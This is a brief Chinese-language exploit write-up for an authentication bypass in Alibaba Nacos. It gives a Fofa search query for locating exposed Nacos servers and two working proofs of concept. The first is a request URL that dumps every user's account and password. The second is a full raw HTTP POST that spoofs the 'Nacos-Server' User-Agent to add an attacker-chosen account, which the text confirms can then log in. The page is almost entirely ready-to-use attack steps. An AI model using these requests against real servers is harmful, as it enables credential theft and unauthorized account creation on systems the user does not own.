Alibaba Nacos 认证绕过

前言

Nacos动态域名和配置服务，英文缩写是Dynamic Naming and Configuration Service， 取的Naming的前两个字母，Configuration的前2个字母，以及Service的首字母组成的。

Fofa

title="Nacos"

漏洞复现

POC1：查看用户的账号和密码

/nacos/v1/auth/users?pageNo=1&pageSize=100

直接访问漏洞url，如果存在漏洞，则可以直接显示当前数据库中所有用户信息

POC2：添加用户

POST /nacos/v1/auth/users HTTP/1.1
Host: 127.0.0.1
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/
*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

username=aaaa&password=bbbb

虽然服务器返回了406，但是用户还是添加成功了

登录成功

使用POC1查看多出aaaa用户信息